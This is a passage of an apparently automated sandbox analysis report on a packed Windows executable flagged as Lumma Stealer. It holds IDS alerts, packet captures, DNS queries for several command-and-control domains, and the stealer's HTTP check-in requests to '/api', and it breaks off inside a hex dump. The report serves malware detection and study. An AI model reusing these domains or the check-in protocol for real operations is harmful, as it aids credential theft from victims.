.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rvqvnuko	0x5b000	0x2a0000	0x2a0000	7518d3b928d1ba793a0f11b4bfcb7c24	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ypwashrq	0x2fb000	0x1000	0x600	f5c45655f4ffcfffaa0c119ae5745331	False	0.5533854166666666	data	4.874357679605508	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2fc000	0x3000	0x2200	92e10f6dfffda9ffe97a18634dc6b652	False	0.08272058823529412	DOS executable (COM)	1.070709702522274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T11:22:07.282182+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49709	188.114.96.3	443	TCP
2024-10-28T11:22:07.282182+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	188.114.96.3	443	TCP
2024-10-28T11:22:08.439165+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49710	188.114.96.3	443	TCP
2024-10-28T11:22:08.439165+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49710	188.114.96.3	443	TCP
2024-10-28T11:23:05.750531+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49712	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 11:22:05.851905107 CET	49709	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:05.851953983 CET	443	49709	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:05.852055073 CET	49709	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:05.855423927 CET	49709	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:05.855448008 CET	443	49709	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:06.468380928 CET	443	49709	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:06.468549967 CET	49709	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:06.522938013 CET	49709	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:06.522969007 CET	443	49709	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:06.523335934 CET	443	49709	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:06.577529907 CET	49709	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:06.817703009 CET	49709	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:06.817878008 CET	49709	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:06.817991972 CET	443	49709	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:07.282149076 CET	443	49709	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:07.282257080 CET	443	49709	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:07.282428026 CET	49709	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:07.297916889 CET	49709	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:07.297947884 CET	443	49709	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:07.298002005 CET	49709	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:07.298015118 CET	443	49709	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:07.363225937 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:07.363264084 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:07.363337040 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:07.363717079 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:07.363730907 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:07.979796886 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:07.979965925 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:07.984873056 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:07.984883070 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:07.985320091 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:07.986891031 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:07.986911058 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:07.986983061 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.439258099 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.439435959 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.439507961 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:08.439529896 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.439632893 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.439683914 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:08.439692020 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.439832926 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.439879894 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:08.439886093 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.439996958 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.440042973 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:08.440048933 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.483753920 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:08.483774900 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.530639887 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:08.555860043 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.555947065 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.555988073 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.556031942 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:08.556056023 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.556097984 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:08.556274891 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.556389093 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.556443930 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:08.556494951 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:08.556509972 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.556520939 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:08.556525946 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.644409895 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:08.644458055 CET	443	49712	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:08.644531965 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:08.644860029 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:08.644876003 CET	443	49712	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:09.255722046 CET	443	49712	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:09.255794048 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:09.259929895 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:09.259944916 CET	443	49712	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:09.260303974 CET	443	49712	188.114.96.3	192.168.2.6
Oct 28, 2024 11:22:09.264046907 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:09.267532110 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:22:09.267565966 CET	443	49712	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:05.750159025 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:05.916946888 CET	49984	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:05.916987896 CET	443	49984	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:05.917085886 CET	49984	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:05.917560101 CET	49984	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:05.917572975 CET	443	49984	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:06.540304899 CET	443	49984	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:06.540442944 CET	49984	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:06.542689085 CET	49984	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:06.542710066 CET	443	49984	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:06.542927980 CET	443	49984	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:06.550441027 CET	49984	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:06.550652981 CET	49984	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:06.550707102 CET	443	49984	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:06.550761938 CET	49984	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:06.550770998 CET	443	49984	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:07.312247992 CET	49984	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:07.629354000 CET	49985	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:07.629400015 CET	443	49985	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:07.629482031 CET	49985	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:07.630028963 CET	49985	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:07.630039930 CET	443	49985	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:08.253675938 CET	443	49985	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:08.253762960 CET	49985	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:08.255605936 CET	49985	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:08.255614996 CET	443	49985	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:08.255932093 CET	443	49985	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:08.257272959 CET	49985	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:08.257376909 CET	49985	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:08.257419109 CET	443	49985	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:08.257482052 CET	49985	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:08.257491112 CET	443	49985	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:34.367692947 CET	443	49985	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:34.367984056 CET	443	49985	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:34.368110895 CET	49985	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:34.368280888 CET	49985	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:34.368294954 CET	443	49985	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:34.774298906 CET	49987	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:34.774358034 CET	443	49987	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:34.774563074 CET	49987	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:34.775821924 CET	49987	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:34.775836945 CET	443	49987	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:35.417409897 CET	443	49987	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:35.417491913 CET	49987	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:35.419397116 CET	49987	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:35.419406891 CET	443	49987	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:35.419754982 CET	443	49987	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:35.448965073 CET	49987	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:35.449095964 CET	443	49987	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:35.449176073 CET	49987	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:35.967237949 CET	49988	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:35.967292070 CET	443	49988	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:35.967353106 CET	49988	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:35.967674017 CET	49988	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:35.967693090 CET	443	49988	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:36.585964918 CET	443	49988	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:36.586091995 CET	49988	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:36.587408066 CET	49988	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:36.587426901 CET	443	49988	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:36.587660074 CET	443	49988	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:36.588792086 CET	49988	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:36.588835001 CET	443	49988	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:36.588905096 CET	49988	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:36.602658033 CET	49989	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:36.602718115 CET	443	49989	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:36.602921009 CET	49989	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:36.603581905 CET	49989	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:36.603595972 CET	443	49989	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:37.210158110 CET	443	49989	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:37.210237026 CET	49989	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:37.211770058 CET	49989	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:37.211791992 CET	443	49989	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:37.212044954 CET	443	49989	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:37.213083029 CET	49989	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:37.213120937 CET	443	49989	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:37.213248968 CET	443	49989	188.114.96.3	192.168.2.6
Oct 28, 2024 11:23:37.213283062 CET	49989	443	192.168.2.6	188.114.96.3
Oct 28, 2024 11:23:37.213310957 CET	49989	443	192.168.2.6	188.114.96.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 11:22:05.769582033 CET	59700	53	192.168.2.6	1.1.1.1
Oct 28, 2024 11:22:05.778837919 CET	53	59700	1.1.1.1	192.168.2.6
Oct 28, 2024 11:22:05.786618948 CET	59229	53	192.168.2.6	1.1.1.1
Oct 28, 2024 11:22:05.797525883 CET	53	59229	1.1.1.1	192.168.2.6
Oct 28, 2024 11:22:05.798825979 CET	57227	53	192.168.2.6	1.1.1.1
Oct 28, 2024 11:22:05.809175014 CET	53	57227	1.1.1.1	192.168.2.6
Oct 28, 2024 11:22:05.812850952 CET	49218	53	192.168.2.6	1.1.1.1
Oct 28, 2024 11:22:05.826081038 CET	53	49218	1.1.1.1	192.168.2.6
Oct 28, 2024 11:22:05.829546928 CET	53701	53	192.168.2.6	1.1.1.1
Oct 28, 2024 11:22:05.846410036 CET	53	53701	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 11:22:05.769582033 CET	192.168.2.6	1.1.1.1	0x528e	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 11:22:05.786618948 CET	192.168.2.6	1.1.1.1	0x8c6	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 11:22:05.798825979 CET	192.168.2.6	1.1.1.1	0xdc3c	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 11:22:05.812850952 CET	192.168.2.6	1.1.1.1	0x301f	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 11:22:05.829546928 CET	192.168.2.6	1.1.1.1	0x9905	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 11:22:05.778837919 CET	1.1.1.1	192.168.2.6	0x528e	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 11:22:05.797525883 CET	1.1.1.1	192.168.2.6	0x8c6	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 11:22:05.809175014 CET	1.1.1.1	192.168.2.6	0xdc3c	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 11:22:05.826081038 CET	1.1.1.1	192.168.2.6	0x301f	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 11:22:05.846410036 CET	1.1.1.1	192.168.2.6	0x9905	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 11:22:05.846410036 CET	1.1.1.1	192.168.2.6	0x9905	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

necklacedmny.store

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	188.114.96.3	443	3532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 10:22:06 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-28 10:22:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-28 10:22:07 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 10:22:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2subiu720t694godjnr9ih02uh; expires=Fri, 21 Feb 2025 04:08:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i4PN8CXNxolFnCimDwdTB92Ecy1mUr%2BUmyxMhskKWa%2Bg4s6PZm0PEzL9GUarZfmgi5%2FJ8gAqXC7q6aj%2FRRgF2Nrnf5jHWN9mP7Q16%2BDGJWM%2FOXBur6KCF1x51N9HAk%2Fqcff0Yso%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9a33ed0e40e54e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1199&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2331723&cwnd=251&unsent_bytes=0&cid=c45c18d230806682&ts=825&x=0"
2024-10-28 10:22:07 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-28 10:22:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49710	188.114.96.3	443	3532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 10:22:07 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-28 10:22:07 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-28 10:22:08 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 10:22:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p5r7o4kl2sto6sq0bp5giath2l; expires=Fri, 21 Feb 2025 04:08:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7jBIz5x1MAaCG8hn6%2Bf%2BcpofDSJecVu0cAE%2FoQ6HTbizM%2Fie6%2BueZqJjmzh1i8ZJsXq%2Fx0XKtX0%2BsqapmnbghS6EG4GSbFKhwbB5sOhcQ1KRZIYWeUN20BIHGcdYrxXI3iWBPtM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9a33f45919466b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1097&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2698974&cwnd=251&unsent_bytes=0&cid=8936592b5aff3bbc&ts=471&x=0"
2024-10-28 10:22:08 UTC	348	IN	Data Raw: 34 34 36 63 0d 0a 77 51 45 58 75 6b 51 50 6f 6a 4a 51 46 45 79 33 69 75 31 51 39 57 58 59 6a 74 37 6b 4c 52 54 7a 63 5a 48 79 68 70 74 51 6a 77 69 36 49 32 47 59 66 6a 75 4f 45 43 4e 78 62 6f 33 2b 6e 79 57 51 53 66 72 76 75 73 59 58 63 70 49 64 34 70 65 71 75 53 62 69 4b 76 74 6e 64 74 59 33 61 6f 34 51 4e 57 78 75 6a 64 47 57 63 70 41 4c 2b 72 54 38 67 55 64 32 6b 68 33 7a 6b 2b 33 30 49 4f 4e 72 71 57 31 77 30 69 46 73 78 6c 4d 38 65 53 6e 53 37 34 77 36 6d 77 79 31 35 72 50 47 41 54 61 57 43 37 50 49 70 4e 59 31 2b 32 6d 4d 59 47 54 52 5a 6e 4b 4f 53 58 4a 78 49 70 57 77 7a 7a 47 51 42 37 54 6f 75 6f 39 46 66 4a 73 56 38 70 62 73 36 7a 6e 70 59 4b 6c 6a 63 39 4d 72 5a 64 4a 65 4e 6e 34 69 31 4f 57 4d 63 74 6c 48 76 66 54 38 33 67 38 6c 6f 78 44 69 67 Data Ascii: 446cwQEXukQPojJQFEy3iu1Q9WXYjt7kLRTzcZHyhptQjwi6I2GYfjuOECNxbo3+nyWQSfrvusYXcpId4pequSbiKvtndtY3ao4QNWxujdGWcpAL+rT8gUd2kh3zk+30IONrqW1w0iFsxlM8eSnS74w6mwy15rPGATaWC7PIpNY1+2mMYGTRZnKOSXJxIpWwzzGQB7Touo9FfJsV8pbs6znpYKljc9MrZdJeNn4i1OWMctlHvfT83g8loxDig
2024-10-28 10:22:08 UTC	1369	IN	Data Raw: 73 6a 63 39 59 6e 59 4d 42 43 4f 6e 30 6c 30 50 71 45 4f 35 6f 4b 75 75 47 32 69 55 78 32 6c 68 6e 35 6e 2b 37 39 50 2b 42 73 6f 32 4d 31 6c 6d 5a 71 32 42 42 71 4e 67 33 51 2b 49 67 2b 67 55 57 41 72 4b 50 49 56 6a 61 57 48 37 50 49 70 50 45 33 37 6d 6d 6f 62 48 62 51 4c 58 2f 41 51 6a 52 37 4b 38 66 75 69 6a 79 64 42 4b 6a 6d 73 6f 42 4d 66 35 6f 61 39 70 66 67 75 58 79 74 62 62 73 6a 4c 5a 67 48 59 4d 74 63 4f 47 45 75 6c 66 66 42 4b 39 63 41 74 71 7a 6b 78 6b 74 33 6c 52 4c 33 6e 75 72 39 50 75 74 6b 72 6d 78 7a 30 69 5a 71 79 6c 67 36 64 79 50 65 35 34 38 33 6d 67 4f 38 34 4c 32 44 44 7a 6a 52 46 4f 76 51 76 4c 6b 63 36 6d 6d 78 49 55 44 62 4b 47 50 48 52 6e 4a 70 59 4d 79 6f 69 44 37 58 58 2f 72 69 75 59 6c 64 64 34 4d 57 2f 59 4c 6f 2f 44 54 67 61 Data Ascii: sjc9YnYMBCOn0l0PqEO5oKuuG2iUx2lhn5n+79P+Bso2M1lmZq2BBqNg3Q+Ig+gUWArKPIVjaWH7PIpPE37mmobHbQLX/AQjR7K8fuijydBKjmsoBMf5oa9pfguXytbbsjLZgHYMtcOGEulffBK9cAtqzkxkt3lRL3nur9Putkrmxz0iZqylg6dyPe5483mgO84L2DDzjRFOvQvLkc6mmxIUDbKGPHRnJpYMyoiD7XX/riuYldd4MW/YLo/DTga
2024-10-28 10:22:08 UTC	1369	IN	Data Raw: 62 4b 47 50 48 52 6e 4a 70 59 4d 79 6f 69 44 37 58 58 2f 72 67 74 59 5a 45 66 4a 55 54 39 4a 33 68 2b 6a 58 75 5a 36 52 70 65 39 38 69 59 63 6c 64 4e 48 59 70 30 65 32 64 4e 35 34 4c 74 71 7a 79 78 6b 68 75 30 55 75 7a 76 2b 50 76 4d 63 4a 70 73 6d 6f 31 78 32 68 30 67 46 63 2b 4e 6e 61 56 37 34 6f 36 6e 41 47 79 37 4b 36 44 51 58 32 51 47 66 57 52 36 66 55 30 37 57 75 6a 5a 58 6e 59 49 57 72 53 51 6a 64 77 50 4e 2b 6f 77 58 4b 51 48 2f 71 30 2f 4c 42 66 59 59 41 46 73 61 58 6e 39 7a 7a 71 66 4f 4e 38 4f 38 46 6d 61 73 77 51 61 6a 59 6c 31 65 53 49 4f 70 45 44 73 75 4f 7a 6a 31 31 33 6e 52 33 68 6c 2b 54 77 50 4f 4a 6d 71 6d 35 79 31 53 31 6e 7a 56 51 31 64 32 36 62 71 49 67 71 31 31 2f 36 32 71 79 4c 51 31 69 61 48 2f 72 51 2b 37 63 72 72 57 32 76 49 79 Data Ascii: bKGPHRnJpYMyoiD7XX/rgtYZEfJUT9J3h+jXuZ6Rpe98iYcldNHYp0e2dN54Ltqzyxkhu0Uuzv+PvMcJpsmo1x2h0gFc+NnaV74o6nAGy7K6DQX2QGfWR6fU07WujZXnYIWrSQjdwPN+owXKQH/q0/LBfYYAFsaXn9zzqfON8O8FmaswQajYl1eSIOpEDsuOzj113nR3hl+TwPOJmqm5y1S1nzVQ1d26bqIgq11/62qyLQ1iaH/rQ+7crrW2vIy
2024-10-28 10:22:08 UTC	1369	IN	Data Raw: 7a 6c 38 7a 63 69 76 51 37 49 67 32 6b 51 6a 36 6f 76 79 42 56 7a 62 4a 55 39 79 33 30 62 73 54 31 79 71 38 4c 57 79 59 49 57 47 41 43 48 4a 36 4c 64 6e 67 67 44 53 65 43 37 44 6c 74 34 70 45 63 70 30 61 39 70 62 6c 2f 44 66 73 62 71 39 70 63 39 73 6c 59 73 39 66 4f 6a 5a 67 6c 65 2b 58 63 73 39 48 6e 2f 75 33 69 45 6b 32 6a 6c 33 71 30 4f 50 31 63 72 55 71 72 32 70 7a 33 69 4e 68 77 56 59 36 63 79 62 52 36 59 6b 30 6c 41 69 2b 36 62 32 4a 53 33 71 66 47 66 4b 52 36 50 49 39 35 6d 2f 6a 4c 54 58 66 50 69 32 59 45 41 4e 31 4f 4d 4c 34 67 33 4b 49 53 61 4f 73 75 34 6f 50 4c 74 45 53 34 5a 72 75 39 7a 66 69 62 36 42 73 63 74 55 67 59 63 70 5a 4f 6e 41 68 33 50 71 4d 50 70 6b 41 74 4f 43 79 69 30 56 31 6e 46 4f 39 30 4f 50 68 63 72 55 71 6a 32 52 34 39 69 31 Data Ascii: 